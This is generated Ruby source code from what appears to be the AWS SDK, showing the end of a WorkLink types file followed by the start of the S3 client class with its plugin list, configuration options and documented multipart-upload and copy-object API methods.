SENSITIVE = []
include Aws::Structure
end
# The summary of the certificate authority (CA).
#
# @!attribute [rw] website_ca_id
# A unique identifier for the CA.
# @return [String]
#
# @!attribute [rw] created_time
# The time when the CA was added.
# @return [Time]
#
# @!attribute [rw] display_name
# The name to display.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/worklink-2018-09-25/WebsiteCaSummary AWS API Documentation
#
class WebsiteCaSummary < Struct.new(
:website_ca_id,
:created_time,
:display_name)
SENSITIVE = []
include Aws::Structure
end
end
end
| 31.374124 | 140 | 0.628489 |
b985c4e757734d547aaf10058fa42f279589a2a2 | 506,464 | # WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'seahorse/client/plugins/content_length.rb'
require 'aws-sdk-core/plugins/credentials_configuration.rb'
require 'aws-sdk-core/plugins/logging.rb'
require 'aws-sdk-core/plugins/param_converter.rb'
require 'aws-sdk-core/plugins/param_validator.rb'
require 'aws-sdk-core/plugins/user_agent.rb'
require 'aws-sdk-core/plugins/helpful_socket_errors.rb'
require 'aws-sdk-core/plugins/retry_errors.rb'
require 'aws-sdk-core/plugins/global_configuration.rb'
require 'aws-sdk-core/plugins/regional_endpoint.rb'
require 'aws-sdk-core/plugins/endpoint_discovery.rb'
require 'aws-sdk-core/plugins/endpoint_pattern.rb'
require 'aws-sdk-core/plugins/response_paging.rb'
require 'aws-sdk-core/plugins/stub_responses.rb'
require 'aws-sdk-core/plugins/idempotency_token.rb'
require 'aws-sdk-core/plugins/jsonvalue_converter.rb'
require 'aws-sdk-core/plugins/client_metrics_plugin.rb'
require 'aws-sdk-core/plugins/client_metrics_send_plugin.rb'
require 'aws-sdk-core/plugins/transfer_encoding.rb'
require 'aws-sdk-core/plugins/http_checksum.rb'
require 'aws-sdk-core/plugins/protocols/rest_xml.rb'
require 'aws-sdk-s3/plugins/iad_regional_endpoint.rb'
require 'aws-sdk-s3/plugins/accelerate.rb'
require 'aws-sdk-s3/plugins/dualstack.rb'
require 'aws-sdk-s3/plugins/bucket_arn.rb'
require 'aws-sdk-s3/plugins/bucket_dns.rb'
require 'aws-sdk-s3/plugins/expect_100_continue.rb'
require 'aws-sdk-s3/plugins/http_200_errors.rb'
require 'aws-sdk-s3/plugins/s3_host_id.rb'
require 'aws-sdk-s3/plugins/get_bucket_location_fix.rb'
require 'aws-sdk-s3/plugins/location_constraint.rb'
require 'aws-sdk-s3/plugins/md5s.rb'
require 'aws-sdk-s3/plugins/redirects.rb'
require 'aws-sdk-s3/plugins/sse_cpk.rb'
require 'aws-sdk-s3/plugins/url_encoded_keys.rb'
require 'aws-sdk-s3/plugins/s3_signer.rb'
require 'aws-sdk-s3/plugins/bucket_name_restrictions.rb'
require 'aws-sdk-core/plugins/event_stream_configuration.rb'
Aws::Plugins::GlobalConfiguration.add_identifier(:s3)
module Aws::S3
# An API client for S3. To construct a client, you need to configure a `:region` and `:credentials`.
#
# client = Aws::S3::Client.new(
# region: region_name,
# credentials: credentials,
# # ...
# )
#
# For details on configuring region and credentials see
# the [developer guide](/sdk-for-ruby/v3/developer-guide/setup-config.html).
#
# See {#initialize} for a full list of supported configuration options.
class Client < Seahorse::Client::Base
include Aws::ClientStubs
@identifier = :s3
set_api(ClientApi::API)
add_plugin(Seahorse::Client::Plugins::ContentLength)
add_plugin(Aws::Plugins::CredentialsConfiguration)
add_plugin(Aws::Plugins::Logging)
add_plugin(Aws::Plugins::ParamConverter)
add_plugin(Aws::Plugins::ParamValidator)
add_plugin(Aws::Plugins::UserAgent)
add_plugin(Aws::Plugins::HelpfulSocketErrors)
add_plugin(Aws::Plugins::RetryErrors)
add_plugin(Aws::Plugins::GlobalConfiguration)
add_plugin(Aws::Plugins::RegionalEndpoint)
add_plugin(Aws::Plugins::EndpointDiscovery)
add_plugin(Aws::Plugins::EndpointPattern)
add_plugin(Aws::Plugins::ResponsePaging)
add_plugin(Aws::Plugins::StubResponses)
add_plugin(Aws::Plugins::IdempotencyToken)
add_plugin(Aws::Plugins::JsonvalueConverter)
add_plugin(Aws::Plugins::ClientMetricsPlugin)
add_plugin(Aws::Plugins::ClientMetricsSendPlugin)
add_plugin(Aws::Plugins::TransferEncoding)
add_plugin(Aws::Plugins::HttpChecksum)
add_plugin(Aws::Plugins::Protocols::RestXml)
add_plugin(Aws::S3::Plugins::IADRegionalEndpoint)
add_plugin(Aws::S3::Plugins::Accelerate)
add_plugin(Aws::S3::Plugins::Dualstack)
add_plugin(Aws::S3::Plugins::BucketARN)
add_plugin(Aws::S3::Plugins::BucketDns)
add_plugin(Aws::S3::Plugins::Expect100Continue)
add_plugin(Aws::S3::Plugins::Http200Errors)
add_plugin(Aws::S3::Plugins::S3HostId)
add_plugin(Aws::S3::Plugins::GetBucketLocationFix)
add_plugin(Aws::S3::Plugins::LocationConstraint)
add_plugin(Aws::S3::Plugins::Md5s)
add_plugin(Aws::S3::Plugins::Redirects)
add_plugin(Aws::S3::Plugins::SseCpk)
add_plugin(Aws::S3::Plugins::UrlEncodedKeys)
add_plugin(Aws::S3::Plugins::S3Signer)
add_plugin(Aws::S3::Plugins::BucketNameRestrictions)
add_plugin(Aws::Plugins::EventStreamConfiguration)
# @overload initialize(options)
# @param [Hash] options
# @option options [required, Aws::CredentialProvider] :credentials
# Your AWS credentials. This can be an instance of any one of the
# following classes:
#
# * `Aws::Credentials` - Used for configuring static, non-refreshing
# credentials.
#
# * `Aws::InstanceProfileCredentials` - Used for loading credentials
# from an EC2 IMDS on an EC2 instance.
#
# * `Aws::SharedCredentials` - Used for loading credentials from a
# shared file, such as `~/.aws/config`.
#
# * `Aws::AssumeRoleCredentials` - Used when you need to assume a role.
#
# When `:credentials` are not configured directly, the following
# locations will be searched for credentials:
#
# * `Aws.config[:credentials]`
# * The `:access_key_id`, `:secret_access_key`, and `:session_token` options.
# * ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY']
# * `~/.aws/credentials`
# * `~/.aws/config`
# * EC2 IMDS instance profile - When used by default, the timeouts are
# very aggressive. Construct and pass an instance of
# `Aws::InstanceProfileCredentails` to enable retries and extended
# timeouts.
#
# @option options [required, String] :region
# The AWS region to connect to. The configured `:region` is
# used to determine the service `:endpoint`. When not passed,
# a default `:region` is searched for in the following locations:
#
# * `Aws.config[:region]`
# * `ENV['AWS_REGION']`
# * `ENV['AMAZON_REGION']`
# * `ENV['AWS_DEFAULT_REGION']`
# * `~/.aws/credentials`
# * `~/.aws/config`
#
# @option options [String] :access_key_id
#
# @option options [Boolean] :active_endpoint_cache (false)
# When set to `true`, a thread polling for endpoints will be running in
# the background every 60 secs (default). Defaults to `false`.
#
# @option options [Boolean] :adaptive_retry_wait_to_fill (true)
# Used only in `adaptive` retry mode. When true, the request will sleep
# until there is sufficent client side capacity to retry the request.
# When false, the request will raise a `RetryCapacityNotAvailableError` and will
# not retry instead of sleeping.
#
# @option options [Boolean] :client_side_monitoring (false)
# When `true`, client-side metrics will be collected for all API requests from
# this client.
#
# @option options [String] :client_side_monitoring_client_id ("")
# Allows you to provide an identifier for this client which will be attached to
# all generated client side metrics. Defaults to an empty string.
#
# @option options [String] :client_side_monitoring_host ("127.0.0.1")
# Allows you to specify the DNS hostname or IPv4 or IPv6 address that the client
# side monitoring agent is running on, where client metrics will be published via UDP.
#
# @option options [Integer] :client_side_monitoring_port (31000)
# Required for publishing client metrics. The port that the client side monitoring
# agent is running on, where client metrics will be published via UDP.
#
# @option options [Aws::ClientSideMonitoring::Publisher] :client_side_monitoring_publisher (Aws::ClientSideMonitoring::Publisher)
# Allows you to provide a custom client-side monitoring publisher class. By default,
# will use the Client Side Monitoring Agent Publisher.
#
# @option options [Boolean] :compute_checksums (true)
# When `true` a MD5 checksum will be computed and sent in the Content Md5
# header for :put_object and :upload_part. When `false`, MD5 checksums
# will not be computed for these operations. Checksums are still computed
# for operations requiring them. Checksum errors returned by Amazon S3 are
# automatically retried up to `:retry_limit` times.
#
# @option options [Boolean] :convert_params (true)
# When `true`, an attempt is made to coerce request parameters into
# the required types.
#
# @option options [Boolean] :correct_clock_skew (true)
# Used only in `standard` and adaptive retry modes. Specifies whether to apply
# a clock skew correction and retry requests with skewed client clocks.
#
# @option options [Boolean] :disable_host_prefix_injection (false)
# Set to true to disable SDK automatically adding host prefix
# to default service endpoint when available.
#
# @option options [String] :endpoint
# The client endpoint is normally constructed from the `:region`
# option. You should only configure an `:endpoint` when connecting
# to test or custom endpoints. This should be a valid HTTP(S) URI.
#
# @option options [Integer] :endpoint_cache_max_entries (1000)
# Used for the maximum size limit of the LRU cache storing endpoints data
# for endpoint discovery enabled operations. Defaults to 1000.
#
# @option options [Integer] :endpoint_cache_max_threads (10)
# Used for the maximum threads in use for polling endpoints to be cached, defaults to 10.
#
# @option options [Integer] :endpoint_cache_poll_interval (60)
# When :endpoint_discovery and :active_endpoint_cache is enabled,
# Use this option to config the time interval in seconds for making
# requests fetching endpoints information. Defaults to 60 sec.
#
# @option options [Boolean] :endpoint_discovery (false)
# When set to `true`, endpoint discovery will be enabled for operations when available.
#
# @option options [Proc] :event_stream_handler
# When an EventStream or Proc object is provided, it will be used as callback for each chunk of event stream response received along the way.
#
# @option options [Boolean] :follow_redirects (true)
# When `true`, this client will follow 307 redirects returned
# by Amazon S3.
#
# @option options [Boolean] :force_path_style (false)
# When set to `true`, the bucket name is always left in the
# request URI and never moved to the host as a sub-domain.
#
# @option options [Proc] :input_event_stream_handler
# When an EventStream or Proc object is provided, it can be used for sending events for the event stream.
#
# @option options [Aws::Log::Formatter] :log_formatter (Aws::Log::Formatter.default)
# The log formatter.
#
# @option options [Symbol] :log_level (:info)
# The log level to send messages to the `:logger` at.
#
# @option options [Logger] :logger
# The Logger instance to send log messages to. If this option
# is not set, logging will be disabled.
#
# @option options [Integer] :max_attempts (3)
# An integer representing the maximum number attempts that will be made for
# a single request, including the initial attempt. For example,
# setting this value to 5 will result in a request being retried up to
# 4 times. Used in `standard` and `adaptive` retry modes.
#
# @option options [Proc] :output_event_stream_handler
# When an EventStream or Proc object is provided, it will be used as callback for each chunk of event stream response received along the way.
#
# @option options [String] :profile ("default")
# Used when loading credentials from the shared credentials file
# at HOME/.aws/credentials. When not specified, 'default' is used.
#
# @option options [Boolean] :require_https_for_sse_cpk (true)
# When `true`, the endpoint **must** be HTTPS for all operations
# where server-side-encryption is used with customer-provided keys.
# This should only be disabled for local testing.
#
# @option options [Proc] :retry_backoff
# A proc or lambda used for backoff. Defaults to 2**retries * retry_base_delay.
# This option is only used in the `legacy` retry mode.
#
# @option options [Float] :retry_base_delay (0.3)
# The base delay in seconds used by the default backoff function. This option
# is only used in the `legacy` retry mode.
#
# @option options [Symbol] :retry_jitter (:none)
# A delay randomiser function used by the default backoff function.
# Some predefined functions can be referenced by name - :none, :equal, :full,
# otherwise a Proc that takes and returns a number. This option is only used
# in the `legacy` retry mode.
#
# @see https://www.awsarchitectureblog.com/2015/03/backoff.html
#
# @option options [Integer] :retry_limit (3)
# The maximum number of times to retry failed requests. Only
# ~ 500 level server errors and certain ~ 400 level client errors
# are retried. Generally, these are throttling errors, data
# checksum errors, networking errors, timeout errors, auth errors,
# endpoint discovery, and errors from expired credentials.
# This option is only used in the `legacy` retry mode.
#
# @option options [Integer] :retry_max_delay (0)
# The maximum number of seconds to delay between retries (0 for no limit)
# used by the default backoff function. This option is only used in the
# `legacy` retry mode.
#
# @option options [String] :retry_mode ("legacy")
# Specifies which retry algorithm to use. Values are:
#
# * `legacy` - The pre-existing retry behavior. This is default value if
# no retry mode is provided.
#
# * `standard` - A standardized set of retry rules across the AWS SDKs.
# This includes support for retry quotas, which limit the number of
# unsuccessful retries a client can make.
#
# * `adaptive` - An experimental retry mode that includes all the
# functionality of `standard` mode along with automatic client side
# throttling. This is a provisional mode that may change behavior
# in the future.
#
#
# @option options [String] :s3_us_east_1_regional_endpoint ("legacy")
# Passing in `regional` to enable regional endpoint for S3's `us-east-1`
# region. Defaults to `legacy` mode using global endpoint.
#
# @option options [Boolean] :s3_use_arn_region (true)
# By default, the SDK will use the S3 ARN region, and cross-region
# requests could be made. Set to `false` to not use the region from
# the S3 ARN.
#
# @option options [String] :secret_access_key
#
# @option options [String] :session_token
#
# @option options [Boolean] :stub_responses (false)
# Causes the client to return stubbed responses. By default
# fake responses are generated and returned. You can specify
# the response data to return or errors to raise by calling
# {ClientStubs#stub_responses}. See {ClientStubs} for more information.
#
# ** Please note ** When response stubbing is enabled, no HTTP
# requests are made, and retries are disabled.
#
# @option options [Boolean] :use_accelerate_endpoint (false)
# When set to `true`, accelerated bucket endpoints will be used
# for all object operations. You must first enable accelerate for
# each bucket. [Go here for more information](http://docs.aws.amazon.com/AmazonS3/latest/dev/transfer-acceleration.html).
#
# @option options [Boolean] :use_dualstack_endpoint (false)
# When set to `true`, IPv6-compatible bucket endpoints will be used
# for all operations.
#
# @option options [Boolean] :validate_params (true)
# When `true`, request parameters are validated before
# sending the request.
#
# @option options [URI::HTTP,String] :http_proxy A proxy to send
# requests through. Formatted like 'http://proxy.com:123'.
#
# @option options [Float] :http_open_timeout (15) The number of
# seconds to wait when opening a HTTP session before raising a
# `Timeout::Error`.
#
# @option options [Integer] :http_read_timeout (60) The default
# number of seconds to wait for response data. This value can
# safely be set per-request on the session.
#
# @option options [Float] :http_idle_timeout (5) The number of
# seconds a connection is allowed to sit idle before it is
# considered stale. Stale connections are closed and removed
# from the pool before making a request.
#
# @option options [Float] :http_continue_timeout (1) The number of
# seconds to wait for a 100-continue response before sending the
# request body. This option has no effect unless the request has
# "Expect" header set to "100-continue". Defaults to `nil` which
# disables this behaviour. This value can safely be set per
# request on the session.
#
# @option options [Boolean] :http_wire_trace (false) When `true`,
# HTTP debug output will be sent to the `:logger`.
#
# @option options [Boolean] :ssl_verify_peer (true) When `true`,
# SSL peer certificates are verified when establishing a
# connection.
#
# @option options [String] :ssl_ca_bundle Full path to the SSL
# certificate authority bundle file that should be used when
# verifying peer certificates. If you do not pass
# `:ssl_ca_bundle` or `:ssl_ca_directory` the the system default
# will be used if available.
#
# @option options [String] :ssl_ca_directory Full path of the
# directory that contains the unbundled SSL certificate
# authority files for verifying peer certificates. If you do
# not pass `:ssl_ca_bundle` or `:ssl_ca_directory` the the
# system default will be used if available.
#
def initialize(*args)
super
end
# @!group API Operations
# This operation aborts a multipart upload. After a multipart upload is
# aborted, no additional parts can be uploaded using that upload ID. The
# storage consumed by any previously uploaded parts will be freed.
# However, if any part uploads are currently in progress, those part
# uploads might or might not succeed. As a result, it might be necessary
# to abort a given multipart upload multiple times in order to
# completely free all storage consumed by all parts.
#
# To verify that all parts have been removed, so you don't get charged
# for the part storage, you should call the ListParts operation and
# ensure that the parts list is empty.
#
# For information about permissions required to use the multipart upload
# API, see [Multipart Upload API and Permissions][1].
#
# The following operations are related to `AbortMultipartUpload`\:
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * ListParts
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
#
# @option params [required, String] :bucket
# The bucket name to which the upload was taking place.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Key of the object for which the multipart upload was initiated.
#
# @option params [required, String] :upload_id
# Upload ID that identifies the multipart upload.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::AbortMultipartUploadOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::AbortMultipartUploadOutput#request_charged #request_charged} => String
#
#
# @example Example: To abort a multipart upload
#
# # The following example aborts a multipart upload.
#
# resp = client.abort_multipart_upload({
# bucket: "examplebucket",
# key: "bigobject",
# upload_id: "xadcOB_7YPBOJuoFiQ9cz4P3Pe6FIZwO4f7wN93uHsNBEw97pl5eNwzExg0LAT2dUN91cOmrEQHDsP3WA60CEg--",
# })
#
# resp.to_h outputs the following:
# {
# }
#
# @example Request syntax with placeholder values
#
# resp = client.abort_multipart_upload({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# upload_id: "MultipartUploadId", # required
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/AbortMultipartUpload AWS API Documentation
#
# @overload abort_multipart_upload(params = {})
# @param [Hash] params ({})
def abort_multipart_upload(params = {}, options = {})
req = build_request(:abort_multipart_upload, params)
req.send_request(options)
end
# Completes a multipart upload by assembling previously uploaded parts.
#
# You first initiate the multipart upload and then upload all parts
# using the UploadPart operation. After successfully uploading all
# relevant parts of an upload, you call this operation to complete the
# upload. Upon receiving this request, Amazon S3 concatenates all the
# parts in ascending order by part number to create a new object. In the
# Complete Multipart Upload request, you must provide the parts list.
# You must ensure that the parts list is complete. This operation
# concatenates the parts that you provide in the list. For each part in
# the list, you must provide the part number and the `ETag` value,
# returned after that part was uploaded.
#
# Processing of a Complete Multipart Upload request could take several
# minutes to complete. After Amazon S3 begins processing the request, it
# sends an HTTP response header that specifies a 200 OK response. While
# processing is in progress, Amazon S3 periodically sends white space
# characters to keep the connection from timing out. Because a request
# could fail after the initial 200 OK response has been sent, it is
# important that you check the response body to determine whether the
# request succeeded.
#
# Note that if `CompleteMultipartUpload` fails, applications should be
# prepared to retry the failed requests. For more information, see
# [Amazon S3 Error Best Practices][1].
#
# For more information about multipart uploads, see [Uploading Objects
# Using Multipart Upload][2].
#
# For information about permissions required to use the multipart upload
# API, see [Multipart Upload API and Permissions][3].
#
# `GetBucketLifecycle` has the following special errors:
#
# * Error code: `EntityTooSmall`
#
# * Description: Your proposed upload is smaller than the minimum
# allowed object size. Each part must be at least 5 MB in size,
# except the last part.
#
# * 400 Bad Request
#
# * Error code: `InvalidPart`
#
# * Description: One or more of the specified parts could not be
# found. The part might not have been uploaded, or the specified
# entity tag might not have matched the part's entity tag.
#
# * 400 Bad Request
#
# * Error code: `InvalidPartOrder`
#
# * Description: The list of parts was not in ascending order. The
# parts list must be specified in order by part number.
#
# * 400 Bad Request
#
# * Error code: `NoSuchUpload`
#
# * Description: The specified multipart upload does not exist. The
# upload ID might be invalid, or the multipart upload might have
# been aborted or completed.
#
# * 404 Not Found
#
# The following operations are related to `CompleteMultipartUpload`\:
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * AbortMultipartUpload
#
# * ListParts
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ErrorBestPractices.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/uploadobjusingmpu.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
#
# @option params [required, String] :bucket
# Name of the bucket to which the multipart upload was initiated.
#
# @option params [required, String] :key
# Object key for which the multipart upload was initiated.
#
# @option params [Types::CompletedMultipartUpload] :multipart_upload
# The container for the multipart upload request information.
#
# @option params [required, String] :upload_id
# ID for the initiated multipart upload.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::CompleteMultipartUploadOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CompleteMultipartUploadOutput#location #location} => String
# * {Types::CompleteMultipartUploadOutput#bucket #bucket} => String
# * {Types::CompleteMultipartUploadOutput#key #key} => String
# * {Types::CompleteMultipartUploadOutput#expiration #expiration} => String
# * {Types::CompleteMultipartUploadOutput#etag #etag} => String
# * {Types::CompleteMultipartUploadOutput#server_side_encryption #server_side_encryption} => String
# * {Types::CompleteMultipartUploadOutput#version_id #version_id} => String
# * {Types::CompleteMultipartUploadOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::CompleteMultipartUploadOutput#request_charged #request_charged} => String
#
#
# @example Example: To complete multipart upload
#
# # The following example completes a multipart upload.
#
# resp = client.complete_multipart_upload({
# bucket: "examplebucket",
# key: "bigobject",
# multipart_upload: {
# parts: [
# {
# etag: "\"d8c2eafd90c266e19ab9dcacc479f8af\"",
# part_number: 1,
# },
# {
# etag: "\"d8c2eafd90c266e19ab9dcacc479f8af\"",
# part_number: 2,
# },
# ],
# },
# upload_id: "7YPBOJuoFiQ9cz4P3Pe6FIZwO4f7wN93uHsNBEw97pl5eNwzExg0LAT2dUN91cOmrEQHDsP3WA60CEg--",
# })
#
# resp.to_h outputs the following:
# {
# bucket: "acexamplebucket",
# etag: "\"4d9031c7644d8081c2829f4ea23c55f7-2\"",
# key: "bigobject",
# location: "https://examplebucket.s3.<Region>.amazonaws.com/bigobject",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.complete_multipart_upload({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# multipart_upload: {
# parts: [
# {
# etag: "ETag",
# part_number: 1,
# },
# ],
# },
# upload_id: "MultipartUploadId", # required
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.location #=> String
# resp.bucket #=> String
# resp.key #=> String
# resp.expiration #=> String
# resp.etag #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.version_id #=> String
# resp.ssekms_key_id #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CompleteMultipartUpload AWS API Documentation
#
# @overload complete_multipart_upload(params = {})
# @param [Hash] params ({})
def complete_multipart_upload(params = {}, options = {})
req = build_request(:complete_multipart_upload, params)
req.send_request(options)
end
# Creates a copy of an object that is already stored in Amazon S3.
#
# <note markdown="1"> You can store individual objects of up to 5 TB in Amazon S3. You
# create a copy of your object up to 5 GB in size in a single atomic
# operation using this API. However, to copy an object greater than 5
# GB, you must use the multipart upload Upload Part - Copy API. For more
# information, see [Copy Object Using the REST Multipart Upload API][1].
#
# </note>
#
# All copy requests must be authenticated. Additionally, you must have
# *read* access to the source object and *write* access to the
# destination bucket. For more information, see [REST
# Authentication][2]. Both the Region that you want to copy the object
# from and the Region that you want to copy the object to must be
# enabled for your account.
#
# A copy request might return an error when Amazon S3 receives the copy
# request or while Amazon S3 is copying the files. If the error occurs
# before the copy operation starts, you receive a standard Amazon S3
# error. If the error occurs during the copy operation, the error
# response is embedded in the `200 OK` response. This means that a `200
# OK` response can contain either a success or an error. Design your
# application to parse the contents of the response and handle it
# appropriately.
#
# If the copy is successful, you receive a response with information
# about the copied object.
#
# <note markdown="1"> If the request is an HTTP 1.1 request, the response is chunk encoded.
# If it were not, it would not contain the content-length, and you would
# need to read the entire body.
#
# </note>
#
# The copy request charge is based on the storage class and Region that
# you specify for the destination object. For pricing information, see
# [Amazon S3 pricing][3].
#
# Amazon S3 transfer acceleration does not support cross-Region copies.
# If you request a cross-Region copy using a transfer acceleration
# endpoint, you get a 400 `Bad Request` error. For more information, see
# [Transfer Acceleration][4].
#
# **Metadata**
#
# When copying an object, you can preserve all metadata (default) or
# specify new metadata. However, the ACL is not preserved and is set to
# private for the user making the request. To override the default ACL
# setting, specify a new ACL when generating a copy request. For more
# information, see [Using ACLs][5].
#
# To specify whether you want the object metadata copied from the source
# object or replaced with metadata provided in the request, you can
# optionally add the `x-amz-metadata-directive` header. When you grant
# permissions, you can use the `s3:x-amz-metadata-directive` condition
# key to enforce certain metadata behavior when objects are uploaded.
# For more information, see [Specifying Conditions in a Policy][6] in
# the *Amazon S3 Developer Guide*. For a complete list of Amazon
# S3-specific condition keys, see [Actions, Resources, and Condition
# Keys for Amazon S3][7].
#
# <b> <code>x-amz-copy-source-if</code> Headers</b>
#
# To only copy an object under certain conditions, such as whether the
# `Etag` matches or whether the object was modified before or after a
# specified date, use the following request parameters:
#
# * `x-amz-copy-source-if-match`
#
# * `x-amz-copy-source-if-none-match`
#
# * `x-amz-copy-source-if-unmodified-since`
#
# * `x-amz-copy-source-if-modified-since`
#
# If both the `x-amz-copy-source-if-match` and
# `x-amz-copy-source-if-unmodified-since` headers are present in the
# request and evaluate as follows, Amazon S3 returns `200 OK` and copies
# the data:
#
# * `x-amz-copy-source-if-match` condition evaluates to true
#
# * `x-amz-copy-source-if-unmodified-since` condition evaluates to false
#
# If both the `x-amz-copy-source-if-none-match` and
# `x-amz-copy-source-if-modified-since` headers are present in the
# request and evaluate as follows, Amazon S3 returns the `412
# Precondition Failed` response code:
#
# * `x-amz-copy-source-if-none-match` condition evaluates to false
#
# * `x-amz-copy-source-if-modified-since` condition evaluates to true
#
# <note markdown="1"> All headers with the `x-amz-` prefix, including `x-amz-copy-source`,
# must be signed.
#
# </note>
#
# **Encryption**
#
# The source object that you are copying can be encrypted or
# unencrypted. The source object can be encrypted with server-side
# encryption using AWS managed encryption keys (SSE-S3 or SSE-KMS) or by
# using a customer-provided encryption key. With server-side encryption,
# Amazon S3 encrypts your data as it writes it to disks in its data
# centers and decrypts the data when you access it.
#
# You can optionally use the appropriate encryption-related headers to
# request server-side encryption for the target object. You have the
# option to provide your own encryption key or use SSE-S3 or SSE-KMS,
# regardless of the form of server-side encryption that was used to
# encrypt the source object. You can even request encryption if the
# source object was not encrypted. For more information about
# server-side encryption, see [Using Server-Side Encryption][8].
#
# **Access Control List (ACL)-Specific Request Headers**
#
# When copying an object, you can optionally use headers to grant
# ACL-based permissions. By default, all objects are private. Only the
# owner has full access control. When adding a new object, you can grant
# permissions to individual AWS accounts or to predefined groups defined
# by Amazon S3. These permissions are then added to the ACL on the
# object. For more information, see [Access Control List (ACL)
# Overview][9] and [Managing ACLs Using the REST API][10].
#
# **Storage Class Options**
#
# You can use the `CopyObject` operation to change the storage class of
# an object that is already stored in Amazon S3 using the `StorageClass`
# parameter. For more information, see [Storage Classes][11] in the
# *Amazon S3 Service Developer Guide*.
#
# **Versioning**
#
# By default, `x-amz-copy-source` identifies the current version of an
# object to copy. If the current version is a delete marker, Amazon S3
# behaves as if the object was deleted. To copy a different version, use
# the `versionId` subresource.
#
# If you enable versioning on the target bucket, Amazon S3 generates a
# unique version ID for the object being copied. This version ID is
# different from the version ID of the source object. Amazon S3 returns
# the version ID of the copied object in the `x-amz-version-id` response
# header in the response.
#
# If you do not enable versioning or suspend it on the target bucket,
# the version ID that Amazon S3 generates is always null.
#
# If the source object's storage class is GLACIER, you must restore a
# copy of this object before you can use it as a source object for the
# copy operation. For more information, see .
#
# The following operations are related to `CopyObject`\:
#
# * PutObject
#
# * GetObject
#
# For more information, see [Copying Objects][12].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/CopyingObjctsUsingRESTMPUapi.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html
# [3]: https://aws.amazon.com/s3/pricing/
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/transfer-acceleration.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3_ACLs_UsingACLs.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/amazon-s3-policy-keys.html
# [7]: https://docs.aws.amazon.com/AmazonS3/latest/dev/list_amazons3.html
# [8]: https://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html
# [9]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [10]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-using-rest-api.html
# [11]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-class-intro.html
# [12]: https://docs.aws.amazon.com/AmazonS3/latest/dev/CopyingObjectsExamples.html
#
# @option params [String] :acl
# The canned ACL to apply to the object.
#
# @option params [required, String] :bucket
# The name of the destination bucket.
#
# @option params [String] :cache_control
# Specifies caching behavior along the request/reply chain.
#
# @option params [String] :content_disposition
# Specifies presentational information for the object.
#
# @option params [String] :content_encoding
# Specifies what content encodings have been applied to the object and
# thus what decoding mechanisms must be applied to obtain the media-type
# referenced by the Content-Type header field.
#
# @option params [String] :content_language
# The language the content is in.
#
# @option params [String] :content_type
# A standard MIME type describing the format of the object data.
#
# @option params [required, String] :copy_source
# The name of the source bucket and key name of the source object,
# separated by a slash (/). Must be URL-encoded.
#
# @option params [String] :copy_source_if_match
# Copies the object if its entity tag (ETag) matches the specified tag.
#
# @option params [Time,DateTime,Date,Integer,String] :copy_source_if_modified_since
# Copies the object if it has been modified since the specified time.
#
# @option params [String] :copy_source_if_none_match
# Copies the object if its entity tag (ETag) is different than the
# specified ETag.
#
# @option params [Time,DateTime,Date,Integer,String] :copy_source_if_unmodified_since
# Copies the object if it hasn't been modified since the specified
# time.
#
# @option params [Time,DateTime,Date,Integer,String] :expires
# The date and time at which the object is no longer cacheable.
#
# @option params [String] :grant_full_control
# Gives the grantee READ, READ\_ACP, and WRITE\_ACP permissions on the
# object.
#
